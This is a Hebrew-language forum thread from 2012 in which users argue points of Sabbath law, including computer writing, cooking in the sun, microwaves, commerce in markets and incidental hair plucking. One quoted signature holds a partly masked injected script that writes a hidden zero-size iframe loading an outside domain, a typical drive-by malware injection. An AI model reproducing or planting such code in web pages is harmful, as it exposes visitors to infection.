|
|
| נשלח ב-14/1/2012 20:59 |
 |
| |
| דינוזאורוס כתב: |  | כתב שעל המסך הוא כתב שאינו מתקיים שאסור מדרבנן ומותר מדאוריתא |
|
כתיבה במחשב לדעת הרב וואזנר הוא דאורייתא דמתקיים לשעה ככותב על בשרו בשבת ,
לשאר דבריך ,להחשיב חשמל למלאכה וחיפוש השוואה של למדנים ,החזון איש חיפש ומצא את בונה ונחלקו עליו ,ברירה באוכלים כמובן הוא השוואה ללא חיפוש,הגדרתך למנוחה בשבת כעיקר לשביתת מלאכה מפרנסה מתמיהה מדיני קניינים דאינה מלאכה דאורייתא ,יש רמבן מחודש דכל מסחר הנעשה בקביעות בשבת הוי דאורייתא,
אפילו בישול בשבת אם נעשית בחמה מותרת היא ,
ועל כרחך דלט מלאכות נדרשו ותו לא ,
שמעתי מאחד מגדולי המוצ,ים דהדלקת פלוריסנט בשבת מותרת היא ,
אלא מאי ההגדרה היא כנראה דאם יתירו לא יהיה לדבר סוף בנוסף לטעויות שיביאו למלאכות ממש.
|
|
|
|
| נשלח ב-14/1/2012 21:11 |
|
| |
| דינוזאורוס כתב: | | עד שבזמננו כבר מדברים על איסור קינוח אף ופי הטבעת ם זה תולש שערות, דבר שרבי עקיבא היה מתפקע מצחוק רק לשמוע. אבל זה בסדר -
איני יודע מדוע אתה חושב שר"ע היה צוחק, ומנין לך שלא צחק כשקרא את המשנה האוסרת לגרור ספסל משום שהוא עושה חריץ, או להסתרק משום שעלולה להיתלש שערה.
ומן הצד השני להלכה דשא"מ מותר, וא"כ מי הוא זה האוסר או המדבר על לאסור לקנח את האף וכדו'? (זכורני שפעם הבאתי לינק לנושא, אבל לכאורה מדובר בתמהונות).
|
|
שים לב:
מה שניתן להגדיר כתמהוני (או שלא) הוא העיסוק בשאלה כזו, ולא פשוט להעיף אותה לקיבינימט ולשלוח את השואל מחוץ לבית המדרש.
אם אתה מתיר בהסתמך על מושגים הלכתיים, אתה עוסק בשאלה. ואין סיבה להגדיר תמהוני את מי שסבור אחרת ממך בשאלה הלכתית. שניכם תמהוניים (או לא) מעצם עיסוקכם בשאלה.
בפועל:
http://www.shtaygen.co.il/?CategoryID=1567&ArticleID=6010 דן להקל מעיקר הדין
וכאן ציטוט שלו באתר של אהובך הותיק (לא ראיתי במקור אך נראה דבמילתא דעבידא לאיגלויי לא משקרי בה אינשי)
http://www.daatemet.org.il/questions/index.cfm?MESSAGEID=11758
מי שמחזיק בבית / יש לו גישה למקור ממוחשב המכיל את יביע אומר מוזמן לאשר / להכחיש שזה כתוב שם
תוקן על ידי thepresent ב- 14/01/2012 21:27:25
|
|
|
|
| נשלח ב-14/1/2012 23:31 |
|
| |
ביליצר
נכון הדבר שלד' הרב ואזנר כתיבה במחשב חשיב כמתקיים, אבל הוא דעת יחיד ולא נהגו כך, והראיה שמשתמשים בחוה"מ בטלפון ומחשב ולא סוברים שזה דומה לכתיבה. (עי' יביע אומר ח"ח סי' מח').
איסור המלאכה הוא לא המסחר, אלא המלאכה עצמה. קנין אינו מלאכה. וענין המסחר בשוק נכלל בהוצאה.
הטעם שבישול בחמה מותר משום שלאו דרך בישול הוא. ומלאכת מחשבת בעי'.
המתירפלורסנט סובר כהגרשז"א שחשמל מותר בשבת, אבל רוה"פ לא סברי כך. כתבת 'ונחלקו עליו', האם אתה מכיר מישהו שמורה להתיר בחשמל כהגרשז"א?
פרזנט
דבר שאין מתכוין הוא מחלוקת תנאים (תשאל את תורה ודעת שיש לו הסבר נפלא לשורש המחלוקת) להלכה הדבר מותר, אבל בזמן רבי עקיבא היו כאלו שאסרו. מי שמחמיר במה שמותר הוא התמהוני, בלי שום קשר לשאלה באיזה איבר חל הנדון ההלכתי.
בלינק שהבאת מדובר באופן שאינו דשא"מ אלא פסיק רישא, דהיינו שברור הדבר שיתלש. במקרה זה באמת יכול להיות שאסור, ההיתר של היבי"א שם אינו ברור משום שהוא מסתמך על הרעיון של תרי דרבנן, אבל בכל אופן במציאות אין דבר כזה שברור שייתלש, לכן אין מה לאסור.
|
|
|
|
| נשלח ב-15/1/2012 00:35 |
|
| |
דינו
התכונתי להרבה פוסקים[ואולי רובם]שדנו את בישול בחמה כבישול המותר מפני שלא אסרה תורה אלא אש
הוצאה למסחר נפטרת בעירוב[שגם הוא צריך ביאור להיתרו לפי דבריך ]וגם אינו תמיד כרוך בהוצאה ,
כיוון הדברים היו שאין לפרש את הדברים כפשוטם על מנוחה ממלאכת הפרנסה וכו,אלא שהדברים מוגדרים בהלכותיה,והפסוק היחיד שבפירוש בתורה להגדרה הוא לא תבערו שהוא פרט קטן לביטוי ממנוחה מפרנסה,
לגבי השיטות בחשמל בשבת,אתה מוזמן לקרוא ,http://he.wikipedia.org/wiki/%D7%97%D7%A9%D7%9E%D7%9C_%D7%91%D7%A9%D7%91%D7%AA
|
|
|
|
| נשלח ב-15/1/2012 13:07 |
|
| |
-לא ידענא לאיזה 'הרבה פוסקים ואולי רובם' כוונתך, בישול בחמה מותר מן התורה, כמובן שלא אסרה תורה אלא אש או כל דבר הלוהט כמו אש, הרי אין ויכוח שאסור לבשל על גז חשמלי או על מתכת לוהטת, כל השאלה היא רק מדוע הותר בישול בחמה. ועל כך פשוט בפוסקים שמה שאינו אש אינו דרך בישול כמ"ש הר"ן בשבת יח. והאו"ז ה' שבת סי' סב' ועוד הרבה ראשונים ואחרונים. האם מצאת מישהו שאומר שחמה הוא דרך בישול ומ"מ סתם כך אינו אסור? אם מישהו אמר כך דבריו תמוהין בתרתי: 1) שהרי ברור שחמה זו לא דרך בישול, ואי אפשר באמת לבשל בשמש באופן נורמלי, 2) וגם אין סיבה שהתורה תתיר מלאכה שהיא דרך מלאכה, ואפילו רבנן לא אסרוה. הלשון שאני מצאתי בפוסקים הוא 'בישול בחמה לאו בישול הוא'. וגם לענין בשר בחלב או בישולי עכו"ם לא נחשב בישול.
-הוצאה למסחר אינה נפטרת בעירוב, שכן עירוב אינו מועיל ברשות הרבים. הוא מועיל רק למבואות וחצרות בהם איסור הטלטול עצמו אינו אלא דרבנן, בשום מקום לא מועיל עירוב לאיסור דאוריתא. המסחר התבצע ברשות הרבים. (היתר העירוב בדורות מאוחרים על סמך הרעיון ש'אין לנו רשות הרבים', וכל הרחובות הם מבוי, נעשה רק אחר שהמסחר כבר היה אסור בכל מקרה, וגם בהנחה שאין איסור טלטול מן התורה). וכבר שגג בזה א"ה וייס שהאריך להסביר בטעם שהצדוקים 'אינם מודים בעירוב' משום שאינם מסכימים להתיר את איסור התורה ע"י הערמה..
-המסחר בהכרח כרוך בהוצאה, וזה כל ענינו. ולכן היה פשוט לעמוס וכן לירמיהו הנביא וכן לנחמיה שהמסחר בשבת אסור. למרות שירושלים היתה עיר מוקפת חומה (עמוס דיבר כנראה על שומרון או האיזור, וגם שם נראה שאפילו הרמאים והגנבים הגדולים לא העיזו למכור בשבת).
-לגבי המתירים חשמל בשבת מן התורה, אחר המחילה מויקיפדיה נאמר שם 'רבים מחכמי דורם' אבל בפרטם לא מובא אלא הגרשז"א והציץ אליעזר, ניסיתי לבדוק בציץ אליעזר ולא מצאתי את הדברים האלו, אבל גם אם הצי"א כתב כך, עדיין זה מיעוט דמיעוט וכל שאר מורי ההוראה לא פוסקים כך. ההבדל בין דרבנן לדאוריתא הוא מעשי מאד בשבת.
 |
|
|
|
|
| נשלח ב-15/1/2012 16:54 |
|
| |
הנושא של תלישת שערות ראוי לדיון בפני עצמו. וכמדומה שהחלו הענינים להתערבב כאן באשכול.
אולם יש להתריע על הציטוט החלקי ב"דעת אמת". הציטוט מדברי הרב חיים פלאג'י ואילו הרב עובדיה, שבשמו מובאים הדברים, רק ציטטו ואף חולק עליו.
וזה ציטוט מלא יותר עם דברי הר"ע בהמשך. אבל התשובה כמובן ארוכה מאד.
שו"ת יביע אומר חלק ה - אורח חיים סימן ל
(ז) ואתה תחזה שע"פ האמור יש להעיר עמ"ש הגאון מהר"ח פלאג'י בס' רוח חיים (סי' שכא סק"ב וסי' שמ סק"א), ובס' כף החיים (סי' ל אות קה), שיש להזהיר לאלה שמקנחים צואת החוטם (ובפרט כשהיא יבשה), שתולשים עי"ז כמה שערות, ואף על גב דדבר שאינו מתכוין מותר, היכא דפסיק רישיה יש להחמיר. וכן הרוחץ פניו ומשפשף בידו בשער הפאות והזקן, דמסתמא א"א בלי תלישת שער, והו"ל פ"ר ואסור. ונודע מעשה של רבינו האר"י ז"ל שפעם אחת שגג והניח ידו על זקנו בשבת, ולא הוציאה משם עד מוצאי שבת (כההיא דסי' שלו ס"א). וגם כשרוחץ אחר עשיית צרכיו שיש שם שער ועלול לתלוש כשמשפשף בידיו, ואל יסמוך על צדדי היתר דדבר שאינו מתכוין וכדומה. עכת"ד. וע"ע בחסד לאלפים (סי' שלד, וצ"ל סי' שמ, אות ט). ובבן איש חי ש"ב (פר' כי תשא אות יד). ובכף החיים (סי' שמ או' ט - י). ע"ש. ולפי האמור נראה שיש להקל בכל זה מעיקר הדין, כי מבואר ברמב"ם (פ"ט מה' שבת ה"ח) שהתולש שער בידו בין לו בין לאחרים פטור.
(ההדגשה כמובן של המעתיק, כלומר אני).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-15/1/2012 17:53 |
|
| |
אנא תבדוק לפני תגובה ,גז חשמלי [תרתי דסתרי]ומתכת הם אש ממש כשיש להם גופי חימום המתלהטות,אנחנו דיברנו על בישול בחמה שנקטו רובם דבישול בו מותרת כי לא אסרה תורה אלא אש ולכן מלבד האגרות משה נקטו הפוסקים דבישול במיקרוגל שבישולו דרך גלים ואינו אש אין בו איסור בישול מן התורה
מסחר בשבת כפי שבעצמך ציטטת את חומות ירושלים מותרת היא מתורת מלאכה,הרמבן חידש שאסורה היא מדין תורה באופן של קביעות מהמילה ,שבתון,
המסחר אסורה בקניינים מגזירה שמא יכתוב ומדין עובדין דחול.
|
|
|
|
| נשלח ב-15/1/2012 18:49 |
|
| |
| מיימוני כתב: | | הנושא של תלישת שערות ראוי לדיון בפני עצמו. וכמדומה שהחלו הענינים להתערבב כאן באשכול.
אולם יש להתריע על הציטוט החלקי ב"דעת אמת". הציטוט מדברי הרב חיים פלאג'י ואילו הרב עובדיה, שבשמו מובאים הדברים, רק ציטטו ואף חולק עליו.
וזה ציטוט מלא יותר עם דברי הר"ע בהמשך. אבל התשובה כמובן ארוכה מאד.
שו"ת יביע אומר חלק ה - אורח חיים סימן ל
(ז) ואתה תחזה שע"פ האמור יש להעיר עמ"ש הגאון מהר"ח פלאג'י בס' רוח חיים (סי' שכא סק"ב וסי' שמ סק"א), ובס' כף החיים (סי' ל אות קה), שיש להזהיר לאלה שמקנחים צואת החוטם (ובפרט כשהיא יבשה), שתולשים עי"ז כמה שערות, ואף על גב דדבר שאינו מתכוין מותר, היכא דפסיק רישיה יש להחמיר. וכן הרוחץ פניו ומשפשף בידו בשער הפאות והזקן, דמסתמא א"א בלי תלישת שער, והו"ל פ"ר ואסור. ונודע מעשה של רבינו האר"י ז"ל שפעם אחת שגג והניח ידו על זקנו בשבת, ולא הוציאה משם עד מוצאי שבת (כההיא דסי' שלו ס"א). וגם כשרוחץ אחר עשיית צרכיו שיש שם שער ועלול לתלוש כשמשפשף בידיו, ואל יסמוך על צדדי היתר דדבר שאינו מתכוין וכדומה. עכת"ד. וע"ע בחסד לאלפים (סי' שלד, וצ"ל סי' שמ, אות ט). ובבן איש חי ש"ב (פר' כי תשא אות יד). ובכף החיים (סי' שמ או' ט - י). ע"ש. ולפי האמור נראה שיש להקל בכל זה מעיקר הדין, כי מבואר ברמב"ם (פ"ט מה' שבת ה"ח) שהתולש שער בידו בין לו בין לאחרים פטור.
(ההדגשה כמובן של המעתיק, כלומר אני).
_________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
נו, וגם אתה ציטטת ציטוט חלקי. הוא בא להדגיש את הרעיון שהמחמיר תע"ב ואתה באת להדגיש שמעיקר הדין זה מותר. אני מניח שהציטוט שלו בא מיד אחרי הציטוט שלך.
וכל זה כמובן מפספס את הפואנטה: שעצם העיסוק בכהאי גוונא - כאילו בלי פלפול כלשהו עוד יהיה אסור לקנח את האף / לעשות צרכים ו/או לקנח את האזור (שלא לדבר על כאלו שאוסרים בתכל'ס או לפחות מציעים להחמיר בנושא) - הוא הזוי.
|
|
|
|
|
|
| נשלח ב-15/1/2012 20:11 |
|
| |
ביליצר
אתה כותב 'נקטו רובם', אבל זו גמרא ערוכה שמותר בבישול בחמה. וכמובן שלא אסרה תורה אלא אש, אבל לא מובן מה אתה בא להוציא מזה, שהרי אם אנו קובעים שכל דבר רותח נקרא אש, אפילו שאין בו שום אש, זה אומר שכל דרך בישול אסור, כמו שכתוב בפוסקים שהבאתי. לכן איני מבין מה באת לומר בכל זה. הבישול אסור כשהוא דרך בישול ומותר כשאינו דרך בישול. (גז חשמלי, זה כינוי של מכשיר, מה רצית בדיוק שאבדוק?)
עצם הקנין אסור בשבת, אבל עובדה היא שהנביאים בהרבה דורות רחוקים זה מזה היה פשוט להם שאסור, והטעם ברור משום שנכלל בהוצאה לרשות הרבים, אין מסחר בלי הוצאה. (מלבד המסחר בשוק ההון).
פרזנט
איני מבין מה הזוי, מי שבאמת חשוב לו לא לתלוש בשבת, ואירע לו מקרה מוזר ששערות גופו לא מחוברות עד כדי שפסיק רישא שיתלוש (אני לא מכיר מקרה כזה, אבל אם קרה), הוא רוצה לברר את ההלכה. למה אם היתה לו בעיה רפואית בתלישת שערות, הוא היה נזהר כמובן לקנח את האף, אבל אם הבעיה היא הלכתית הוא לא צריך להיזהר? כל השאלה היא עד כמה העיקרון חשוב לאדם. בכל אופן מדובר במקרה שלא במציאות. והדיון בדברים כאלו אינו משהו חדשני שלא היה בימי התלמוד.
|
|
|
|
| נשלח ב-15/1/2012 22:02 |
|
| |
נקטו רובם בפירוש הסוגיא הידועה והערוכה דבישול בחמה הוי אש ד ו ק א ולכן אף אם היה דרך בישול בחמה היה מותר,ונגזר מדין זה כל בישול שאין גופו אש כמו מיקרוגל ,
מסחר בשבת בשוק מחנה יהודה הוא אסור מדרבנן ואינו מלאכה ,
|
|
|
|
| נשלח ב-15/1/2012 22:28 |
|
| |
יש בהחלט מצבים שזה פסיק רישא (דלא ניחא ליה). בפרט אם אתה מאלו שלא עושים הסרת שיער בגוף. סו? במה עדיף להחמיר - בישיבה ליד אשה באוטובוס או בנושא זה?
|
|
|
|
| נשלח ב-15/1/2012 22:56 |
|
| |
לצערי איני מבין את משמעות המשפט 'הסוגיא הערוכה והידועה דבישול בחמה הוי אש דוקא'. אתה כותב בשם 'רובם' שאף אם היה דרך בישול בחמה היה מותר, אף שהבאתי לך את דברי האו"ז והר"ן שכתבו לא כך, ולכן איני מבין משכוני נפשך למה לך? לשם מה אתה מתעקש ליצור מאין פלפול ש'יוכיח' שטעם איסור מלאכה בשבת הוא לא כמו שכתוב בתורה למען ינוח, וכמו שכותב הרמב"ן, אלא משהו מיוחד שאי אפשר להבין ואין לו טעם.
אם מישהו התיר בישול במיקרוגל, הוא משום שהמיקרוגל אינו מבשל. הרעיון של בישול הוא השהיית המאכל בקירוב לגוף חם, המיקרוגל אינו יכול לבשל ולא לאפות אלא רק לחמם. הוא בעצמו לא חם.
הטלטול בשוק מחנה יהודה אסור מן התורה, שכן שנינו במשנה איזוהי רשות הרבים פלטיא, ופרש"י הרחבה שמתאספים בה למסחר, וכן פירשו כל הראשונים. מלבד זאת עצם העובדה שהשוק משמש כמבוי מפולש בין שני רשויות הרבים, זה קובע שגם דינו כרשות הרבים. איני מבין מדוע אתה מנסה בכח להסתבך, כאשר הרמב"ן כמו גם הנביאים כותבים במפורש שמאז ומעולם לא היה מסחר בשבת ולא משום תקנה מיוחדת.
פרזנט
לא מבין בדיוק מה אתה רוצה, להלכה כמו לכל חוק ומשפט יש גבולות שאמורים להיות מוגדרים. אם משהו לא חשוב אז העיקר שיהיה בערך וכל השאר רק בשביל האוירה. אם זה חשוב צריכים גבולות מוגדרים מה מותר לתלוש ומה אסור. לשבת ליד אשה אין שום איסור כך שגם שאלה זו לא מובנת לי.
|
|
|
|
|
| נשלח ב-15/1/2012 23:15 |
|
| |
הטלטול בשוק מחנה יהודה בירושלים עיר הקודש שיש בו עירוב מותרת היא וכך נוהגים יראים ושלמים,עם סברות כרס וכן המצאתם אלו דברים שבפיך ובלבבך לבודקם וכן לבדוק את ביצועי המיקרוגל באופן הפשוט של הכנסת כוס של מים שבישולו אינו עולה ביותר מדקה כדי לעשותם,
|
|
|
|
| נשלח ב-16/1/2012 00:07 |
|
| |
דינוזאורוס
אתה אומר דברים בצורה מאוד נחרצת, אבל זה לא מה שיהפוך אותם לנכונים ללא ביסוס עובדתי/לוגי או בניגוד לו... כרגיל.
|
|
|
|
| נשלח ב-16/1/2012 07:38 |
|
| |
ביליצר
מים הוא הדבר היחידי שאין בו בישול אלא רק חימום, אבל מכיון שבכל שאר המוצרים המיקרוגל אינו מבשל, אפשר להבין שיש מי שאמר שאינו דרך בישול.
בכל אופן הדיון ייקבע על פי מקורות, הבאתי מספיק מקורות נכבדים הקובעים שבישול בחמה אינו דרך בישול ולכן מותר. אשמח לשמוע מקורות אחרים.
כנ"ל לגבי רשות הרבים, הדיון כאן אמור להיקבע על פי מקורות, ולא שתסיים אותו מבלי להתייחס למקורות על ידי שתקבע מה 'מנהג יראים ושלמים'. אני לא בא לקבוע משהו חד משמעי שכולם חייבים לעשות ומי שלא עושה כך הוא לא 'ירא ושלם', אלא רק להציע את המקורות על פי מה שכתוב לפנינו. זהו דיון אינטלקטואלי, ואין חובה להשתתף בו. אגב, יכלת לסיימו יותר מהר ולקבוע שיראים ושלמים הבינו שמלאכות שבת אינם עבודה אלא משהו סודי שאף אחד לא יודע ואדרבה דרך בישול הוא דבר מהודר לעשותו בשבת אלא שאש אסורה מגזה"כ.
אם בכל אופן מעניין אותך ענין הטלטול, בלי שום קשר למחנה יהודה, הרי ברור שמקום השוק והמסחר הוא רשות הרבים כמפורש בתלמוד, ואפילו אם תמצא טעם להחריג את מחנה יהודה בכל אופן יהיה מוכח שבעיקרון מקום השוק והמסחר 'שלהם' הוא רשות הרבים, ולכן קושיה מעיקרא ליתא.
פרזנט
חשבתי שתם כאן עידן השיבוליזם, כשיהיה לך משהו לומר בענין, נשמח לשמוע.
|
|
|
|
|
|
